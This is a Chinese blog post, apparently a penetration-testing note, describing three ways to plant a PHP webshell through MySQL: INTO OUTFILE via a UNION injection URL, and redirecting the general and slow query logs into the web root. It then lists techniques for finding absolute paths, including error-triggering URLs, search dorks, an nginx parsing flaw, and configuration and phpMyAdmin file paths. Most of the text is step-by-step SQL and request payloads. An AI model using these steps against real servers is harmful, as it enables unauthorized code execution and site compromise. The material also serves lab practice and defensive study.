平常碰到SQL注入感觉也不是很多了,除非一梭哈直接sql-shell或者cmd-shell,这种情况还是比较难遇到的。
又或者碰到数据库弱口令等等情况,所以就来记录一下。
说是三种方式,其实就into outfile和日志两种,但是我把慢日志也提出来了,感觉慢日志还是可以的。
我用了本地环境和靶场来演示的。
一、INTO OUTFILE写马
平常用into outfile的方式还是比较常见的,但是还需要知道绝对路径和具有写入的权限这个条件有些苛刻。
1、查看插入条件
show GLOBAL VARIABLES like '%secure%';
secure_file_priv的值:
为空 可以写入磁盘的目录
D:\ 就可以写入D盘的文件
NULL 表示不能写入磁盘文件
如果碰到我截图这种情况直接寄了就。
2、查看数据库安装的绝对路径
select @@basedir;
这种情况在web页面一般通过报错来得到:
http://www.test.com/xxxx.php/1.txt?id=1 UNION SELECT 1,'<?php eval(phpinfo());?>' into outfile "C:/phpStudy/WWW/666.php"
总结就是unsion select ‘语句’ into outfile “绝对路径”
注意事项:
#需要知道绝对路径且条件苛刻#
二、数据库日志写马
首先需要打开日志功能
SET GLOBAL general_log='ON';
然后查看日志状态和存放位置
show global variables like "%general_log%";
再更改日志存放位置确保放入web路径
set global general_log_file='D:\\phpstudy_pro\\WWW\\log.php';
#日志路径
注意:需要使用双斜线,然后还有就是日志文件必须是.php文件防止不能被解析
设置完毕之后就是代表着所有的执行语句都会记录到日志文件当中,不管执行成功与否。
查询语句(写马)
select '<?php eval(phpinfo());?>';
让日志文件中留下这样一句查询语句
#需要知道绝对路径#
三、数据库慢查询日志写马
设置slow_query_log=1.即启用慢查询日志(默认禁用)
set global slow_query_log=1;
然后查看日志状态和存放位置
SHOW VARIABLES like '%slow_query_log%';
查询mysql系统时间(一般都是十秒,后面我们设置11秒来超时)
再更改日志存放位置确保放入web路径
SET GLOBAL slow_query_log_file='D:\phpstudy_pro\WWW\shell.php';
#日志路径
注意:需要使用双斜线,然后还有就是日志文件必须是.php文件防止不能被解析
设置完毕之后就是代表着所有的执行语句都会记录到日志文件当中,不管执行成功与否。
查询语句(写马)
select '<?php eval(phpinfo());?>' or SLEEP(11);
#需要知道绝对路径#
四、绝对路径的查找方法(这是在网络找的一些方法)
一、通过页面报错找路径
1、存在注入时单引号爆路径
就像测试SQL注入一样在参数后面加上单引号,若页面返回内容可能爆出网站路径
http://www.test.com/xxx.php?id=100′
2、错误参数值爆路径
若第一种方式触发waf,可通过错误参数值爆网站路径
http://www.test.com/xxx.php?id=-100′
http://www.test.com/xxx.php?id=AbCdE’
3、通过搜索引擎获取
通过搜索引擎语法搜索页面报错内容可能获取到网站路径
Site:test.com warning
Site:test.com “fatal error”
4、nginx文件类型错误解析爆路径
要求Web服务器是nginx,且存在文件类型解析漏洞。利用nginx对应版本的解析漏洞,在图片地址后加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径
http://www.test.com/xxx.jpg/x.php
二、根据一键/搭建平台找路径
1、搭建平台测试文件获取路径
网站通过XAMPP或者phpstudy等软件搭建的话,会存在一些测试文件,比如:探针或者phpinfo那一类文件
/test.php
/info.php
/phpinfo.php
/php_info.php
/1.php
/l.php //phpstudy的探针
2、配置文件获取路径
如果注入点有文件读取权限,就可以通过load_file函数读取配置文件,再从中寻找路径信息
Windows配置文件
c:\windows\php.ini //php配置文件
c:\windows\system32\inetsrv\MetaBase.xml //IIS虚拟主机配置文件
Linux配置文件
/etc/php.ini // php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf //Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf //虚拟目录配置文件
XAMPP配置文件
C:\xampp\htdocs //Xampp文件路径
C:\xampp\apache\conf/httpd.conf //httpd.com配置文件
C:\xampp\apache\onf\extra\httpd-vhosts.conf //vhosts.conf虚拟主机
phpstudy配置文件
C:\phpstudy\www //网站默认路径
C:\phpStudy\Apache\conf\httpd.conf //httpd.conf配置文件
C:\phpStudy\Apache\conf\extra\httpd-vhosts.conf //vhosts.conf虚拟主机
利用phpmyadmin爆路径
/phpMyAdmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
/phpMyAdmin/themes/darkblue_orange/layout.inc.php
/phpMyAdmin/libraries/select_lang.lib.php
/phpMyAdmin/libraries/lect_lang.lib.php
/phpMyAdmin/libraries/mcrypt.lib.php
三、利用漏洞
1、配合远程代码执行漏洞
比如eval()函数可控的话,直接传入phpinfo();,通过phpinfo页面中Document_Root参数获取网站绝对路径
暂无评论内容